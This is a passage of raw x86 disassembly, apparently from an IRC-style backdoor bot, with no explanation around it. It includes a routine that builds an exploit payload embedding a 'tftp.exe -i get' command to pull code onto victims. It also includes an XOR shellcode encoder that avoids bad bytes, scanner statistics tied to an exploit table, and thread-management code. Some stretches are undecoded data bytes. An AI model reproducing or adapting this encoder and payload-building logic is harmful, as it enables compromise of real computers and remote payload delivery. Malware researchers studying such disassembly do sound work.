arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40B11C cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B159 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B159: ; CODE XREF: sub_40B13C+17j push ebx push esi push edi push [ebp+arg_8] call sub_41B9C0 push [ebp+arg_C] mov esi, eax call sub_41B9C0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43171C, eax lea eax, [edi+1] mov dword_43173D, eax lea eax, [edi+17h] mov dword_431735, eax pop eax push 74h sub eax, edi push offset dword_4316B8 push ebx mov dword_43174B, eax call sub_41CD20 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_41CD20 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_41CD20 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_41CD20 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_41CD20 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_41CD20 add esi, edi push 38h add esi, ebx push offset byte_431741 push esi call sub_41CD20 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B13C endp ; =============== S U B R O U T I N E ======================================= sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B11C push eax call sub_40B298 add esp, 0Ch retn sub_40B214 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40B214 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40B24B cmp eax, 0FFFFh jbe short loc_40B24F loc_40B24B: ; CODE XREF: sub_40B22B+17j xor eax, eax jmp short loc_40B294 ; --------------------------------------------------------------------------- loc_40B24F: ; CODE XREF: sub_40B22B+1Ej push esi push edi push ebx call sub_40B11C add eax, 101h push eax call sub_41BEB5 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B11C pop ecx pop ecx push eax push esi call sub_40B13C push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B3 push esi mov edi, eax call sub_41BA91 add esp, 24h mov eax, edi pop esi loc_40B294: ; CODE XREF: sub_40B22B+22j pop edi pop ebx pop ebp retn sub_40B22B endp ; =============== S U B R O U T I N E ======================================= sub_40B298 proc near ; CODE XREF: sub_40B214+Ep ; sub_40B2B3+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B2A1 inc ecx loc_40B2A1: ; CODE XREF: sub_40B298+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B2D2 loc_40B2CF: ; CODE XREF: sub_40B2B3+8j ; sub_40B2B3+Ej ... inc [ebp+arg_C] loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B2FA mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B2F3 cmp al, 0Dh jz short loc_40B2F3 cmp al, 5Ch jz short loc_40B2F3 test al, al jnz short loc_40B2FA loc_40B2F3: ; CODE XREF: sub_40B2B3+32j ; sub_40B2B3+36j ... add [ebp+arg_C], 100h loc_40B2FA: ; CODE XREF: sub_40B2B3+28j ; sub_40B2B3+3Ej push [ebp+arg_C] call sub_40B298 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B312 cmp eax, 0FFFFh jbe short loc_40B319 loc_40B312: ; CODE XREF: sub_40B2B3+56j xor eax, eax jmp loc_40B3B7 ; --------------------------------------------------------------------------- loc_40B319: ; CODE XREF: sub_40B2B3+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4CBB18 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B349 loc_40B32D: ; CODE XREF: sub_40B2B3+94j mov al, [edx+edi] xor al, bl jz short loc_40B340 cmp al, 0Ah jz short loc_40B340 cmp al, 0Dh jz short loc_40B340 cmp al, 5Ch jnz short loc_40B344 loc_40B340: ; CODE XREF: sub_40B2B3+7Fj ; sub_40B2B3+83j ... inc bl xor edx, edx loc_40B344: ; CODE XREF: sub_40B2B3+8Bj inc edx cmp edx, ecx jb short loc_40B32D loc_40B349: ; CODE XREF: sub_40B2B3+78j cmp ecx, esi mov byte_4CBB18, bl ja short loc_40B375 push 15h push offset loc_4316A0 push [ebp+arg_0] mov byte_4316AD, cl mov byte_4316B1, bl call sub_41CD20 add esp, 0Ch push 15h jmp short loc_40B396 ; --------------------------------------------------------------------------- loc_40B375: ; CODE XREF: sub_40B2B3+9Ej push 17h push offset loc_431688 push [ebp+arg_0] mov word_431696, cx mov byte_43169B, bl call sub_41CD20 add esp, 0Ch push 17h loc_40B396: ; CODE XREF: sub_40B2B3+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B3B2 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B3A4 loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B3B7: ; CODE XREF: sub_40B2B3+61j pop esi leave retn sub_40B2B3 endp ; =============== S U B R O U T I N E ======================================= sub_40B3BA proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E710 loc_40B3C2: ; CODE XREF: sub_40B3BA+18j cmp byte ptr [eax], 0 jz short loc_40B3D6 add eax, 234h inc edi cmp eax, offset dword_4CB710 jl short loc_40B3C2 jmp short loc_40B421 ; --------------------------------------------------------------------------- loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43E710[esi] push eax call sub_41BFD0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E910[esi], eax and dword_43E914[esi], 0 mov eax, [esp+8+arg_8] and dword_43E918[esi], 0 mov dword_43E91C[esi], eax and byte_43E928[esi], 0 pop esi loc_40B421: ; CODE XREF: sub_40B3BA+1Aj mov eax, edi pop edi retn sub_40B3BA endp ; --------------------------------------------------------------------------- byte_40B425 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2946o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2E4B8BE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h, 0C68124C4h dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp ; sub_40B583+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B57D cmp esi, 400h jge short loc_40B57D imul esi, 234h push edi push ebx push dword_43E924[esi] lea edi, dword_43E924[esi] call near ptr 26A08EAh nop cmp [edi], ebx jz short loc_40B52D push 1 pop ebp loc_40B52D: ; CODE XREF: sub_40B4F5+33j mov [edi], ebx lea edi, dword_43E918[esi] mov dword_43E910[esi], ebx mov dword_43E914[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B54E push eax call sub_419F16 pop ecx loc_40B54E: ; CODE XREF: sub_40B4F5+50j mov [edi], ebx lea edi, dword_43E91C[esi] mov byte ptr dword_43E710[esi], bl mov byte_43E928[esi], bl push dword ptr [edi] call dword_4CBA6C lea esi, dword_43E920[esi] mov [edi], ebx push dword ptr [esi] call dword_4CBA6C mov [esi], ebx pop edi loc_40B57D: ; CODE XREF: sub_40B4F5+Dj ; sub_40B4F5+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B4F5 endp ; =============== S U B R O U T I N E ======================================= sub_40B583 proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E710 loc_40B58F: ; CODE XREF: sub_40B583+2Aj cmp byte ptr [esi], 0 jz short loc_40B5A0 push edi call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5A0 inc ebx loc_40B5A0: ; CODE XREF: sub_40B583+Fj ; sub_40B583+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB710 jl short loc_40B58F pop edi mov eax, ebx pop esi pop ebx retn sub_40B583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p ; sub_401ACD+4302p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E914 loc_40B5C9: ; CODE XREF: sub_40B5B5+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B5EB test edi, edi jle short loc_40B5DD cmp [esi], edi jz short loc_40B5DD cmp ebx, edi jnz short loc_40B5EB loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej ; sub_40B5B5+22j push ebx call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5EB inc [ebp+var_4] loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj ; sub_40B5B5+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB914 jl short loc_40B5C9 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B5B5 endp ; =============== S U B R O U T I N E ======================================= sub_40B602 proc near ; CODE XREF: ___:00401630p ; sub_401ACD+95Ep ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E910 loc_40B609: ; CODE XREF: sub_40B602+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B612 inc eax loc_40B612: ; CODE XREF: sub_40B602+Dj add ecx, 234h cmp ecx, offset dword_4CB910 jl short loc_40B609 retn sub_40B602 endp ; =============== S U B R O U T I N E ======================================= sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E910 loc_40B62B: ; CODE XREF: sub_40B621+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B644 add ecx, 234h inc edx cmp ecx, offset dword_4CB910 jl short loc_40B62B pop esi retn ; --------------------------------------------------------------------------- loc_40B644: ; CODE XREF: sub_40B621+10j mov eax, edx pop esi retn sub_40B621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp ; sub_401ACD+125Bp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B661 push [ebp+arg_1C] call sub_41C159 pop ecx loc_40B661: ; CODE XREF: sub_40B648+Ej push eax push [ebp+arg_18] call sub_40B5B5 pop ecx test eax, eax pop ecx jle short loc_40B68D push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41C266 add esp, 14h jmp short loc_40B6A7 ; --------------------------------------------------------------------------- loc_40B68D: ; CODE XREF: sub_40B648+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41C266 add esp, 10h loc_40B6A7: ; CODE XREF: sub_40B648+43j cmp [ebp+arg_C], 0 jnz short loc_40B6C7 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_40B6C7: ; CODE XREF: sub_40B648+63j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx leave retn sub_40B648 endp ; =============== S U B R O U T I N E ======================================= sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BD0Bp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E924[eax], ecx mov dword_43E910[eax], ecx mov dword_43E914[eax], ecx mov dword_43E918[eax], ecx mov dword_43E91C[eax], ecx mov dword_43E920[eax], ecx mov byte ptr dword_43E710[eax], cl mov byte_43E928[eax], cl retn sub_40B6D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp ; sub_40B841+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B71D: ; CODE XREF: sub_40B713+68j mov cl, [esi] test cl, cl jz short loc_40B77D cmp eax, 1 jnz short loc_40B77D mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B77D cmp cl, 2Ah jz short loc_40B764 cmp cl, 3Fh jz short loc_40B747 cmp cl, 5Bh jz short loc_40B74C xor eax, eax cmp cl, dl setz al loc_40B747: ; CODE XREF: sub_40B713+26j inc [ebp+arg_4] jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B74C: ; CODE XREF: sub_40B713+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B7A9 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B764: ; CODE XREF: sub_40B713+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B841 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B777: ; CODE XREF: sub_40B713+37j ; sub_40B713+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B71D ; --------------------------------------------------------------------------- loc_40B77D: ; CODE XREF: sub_40B713+Ej ; sub_40B713+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B78D cmp eax, 1 jnz short loc_40B7A4 inc esi mov [ebp+arg_0], esi jmp short loc_40B77D ; --------------------------------------------------------------------------- loc_40B78D: ; CODE XREF: sub_40B713+6Dj cmp eax, 1 jnz short loc_40B7A4 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B7A4 cmp byte ptr [esi], 0 jnz short loc_40B7A4 push 1 pop eax jmp short loc_40B7A6 ; --------------------------------------------------------------------------- loc_40B7A4: ; CODE XREF: sub_40B713+72j ; sub_40B713+7Dj ... xor eax, eax loc_40B7A6: ; CODE XREF: sub_40B713+8Fj pop esi pop ebp retn sub_40B713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B7CA inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B7CA: ; CODE XREF: sub_40B7A9+19j push ebx push esi loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B7DA cmp [ebp+var_4], eax jnz short loc_40B826 loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj test edi, edi jnz short loc_40B81B cmp bl, 2Dh jnz short loc_40B80F mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B80F cmp al, 5Dh jz short loc_40B80F cmp [ebp+var_4], edi jnz short loc_40B80F mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B81B cmp bl, al jg short loc_40B81B push 1 mov [edx], esi pop edi jmp short loc_40B81B ; --------------------------------------------------------------------------- loc_40B80F: ; CODE XREF: sub_40B7A9+38j ; sub_40B7A9+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B81B push 1 pop edi loc_40B81B: ; CODE XREF: sub_40B7A9+33j ; sub_40B7A9+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B7CC ; --------------------------------------------------------------------------- loc_40B826: ; CODE XREF: sub_40B7A9+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B833 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B833: ; CODE XREF: sub_40B7A9+82j cmp edi, eax jnz short loc_40B83C mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj mov eax, edi pop edi leave retn sub_40B7A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B841 proc near ; CODE XREF: sub_40B713+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B85D: ; CODE XREF: sub_40B841+3Aj cmp [eax], bl jz short loc_40B87D mov cl, [ecx] cmp cl, 3Fh jz short loc_40B872 cmp cl, 2Ah jnz short loc_40B87D cmp cl, 3Fh jnz short loc_40B875 loc_40B872: ; CODE XREF: sub_40B841+25j inc eax mov [edi], eax loc_40B875: ; CODE XREF: sub_40B841+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B85D ; --------------------------------------------------------------------------- loc_40B87D: ; CODE XREF: sub_40B841+1Ej ; sub_40B841+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B888 inc dword ptr [esi] jmp short loc_40B87D ; --------------------------------------------------------------------------- loc_40B888: ; CODE XREF: sub_40B841+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B8A9 mov edx, [esi] cmp [edx], bl jz short loc_40B89A xor eax, eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B89A: ; CODE XREF: sub_40B841+53j cmp cl, bl jnz short loc_40B8A9 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B8A9 push 1 pop eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B8A9: ; CODE XREF: sub_40B841+4Dj ; sub_40B841+5Bj ... push eax push dword ptr [esi] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_40B8F3 loc_40B8B7: ; CODE XREF: sub_40B841+B0j inc dword ptr [edi] mov eax, [edi] loc_40B8BB: ; CODE XREF: sub_40B841+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B8D3 cmp cl, 5Bh jz short loc_40B8D3 cmp dl, bl jz short loc_40B8D3 inc eax mov [edi], eax jmp short loc_40B8BB ; --------------------------------------------------------------------------- loc_40B8D3: ; CODE XREF: sub_40B841+82j ; sub_40B841+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B8EA push eax push dword ptr [esi] call sub_40B713 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B8EF ; --------------------------------------------------------------------------- loc_40B8EA: ; CODE XREF: sub_40B841+96j mov [ebp+var_4], ebx xor eax, eax loc_40B8EF: ; CODE XREF: sub_40B841+A7j cmp eax, ebx jnz short loc_40B8B7 loc_40B8F3: ; CODE XREF: sub_40B841+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B906 mov eax, [esi] cmp [eax], bl jnz short loc_40B906 mov [ebp+var_4], 1 loc_40B906: ; CODE XREF: sub_40B841+B6j ; sub_40B841+BCj mov eax, [ebp+var_4] loc_40B909: ; CODE XREF: sub_40B841+57j ; sub_40B841+66j pop edi pop esi pop ebx leave retn sub_40B841 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431B94 push eax xor ebx, ebx call sub_41C266 cmp dword_4317F8, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B980 push esi mov esi, offset dword_431800 loc_40B941: ; CODE XREF: sub_40B90E+6Fj mov eax, [esi] test eax, eax jbe short loc_40B976 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431B88 push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 add esp, 1Ch loc_40B976: ; CODE XREF: sub_40B90E+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B941 pop esi loc_40B980: ; CODE XREF: sub_40B90E+2Bj push dword_4CB714 call sub_41ADD8 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 34h pop edi pop ebx leave retn sub_40B90E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE4E0 mov ecx, dword_4CE4DC push esi push dword_4CB714 lea esi, [ecx+eax] call sub_41ADD8 pop ecx push eax push esi push dword_4CE4E0 lea eax, [ebp+var_200] push dword_4CE4DC push offset unk_431BB4 push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 30h pop esi leave retn sub_40B9DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_200] push dword_4CE718 push offset unk_431BFC push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 28h leave retn sub_40BA49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push edi lea eax, [ebp+var_800] push offset dword_431C48 push eax call sub_41C266 cmp dword_4317F8, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BB0A push esi mov esi, offset aSymantec ; "Symantec" loc_40BAD3: ; CODE XREF: sub_40BA9E+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431C38 push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BAD3 pop esi loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_800] push eax call sub_415D38 add esp, 30h pop edi leave retn sub_40BA9E endp ; --------------------------------------------------------------------------- byte_40BB65 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+309Ao ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CBA14 xor edi, edi mov [ebp-8], eax cmp dword_4317F8, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BCC7 mov ebx, offset dword_4317F8 mov eax, ebx loc_40BBB6: ; CODE XREF: ___:0040BCC1j push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C34B add esp, 0Ch cmp eax, 1 jnz loc_40BCB7 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_431C98 push eax call sub_41C266 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409869 lea eax, [ebp-3F0h] push eax call sub_415D38 add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41C266 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41C266 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40BC52 lea eax, [ebp-124h] loc_40BC52: ; CODE XREF: ___:0040BC4Aj push eax lea eax, [ebp-1DCh] push eax call sub_41C266 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40BCB7: ; CODE XREF: ___:0040BBC9j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BBB6 loc_40BCC7: ; CODE XREF: ___:0040BBA9j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431C64 push eax call sub_41C266 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409869 lea eax, [ebp-3F0h] push eax call sub_415D38 push dword ptr [ebp-18h] call sub_40B6D6 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0E6h, 42h db 2Eh, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B602 test eax, eax pop ecx jle short loc_40BD56 mov eax, [ebp+arg_C] push dword_4CBB20[eax*8] call dword_4CBA60 push eax lea eax, [ebp+var_200] push offset unk_431CE8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40BD69 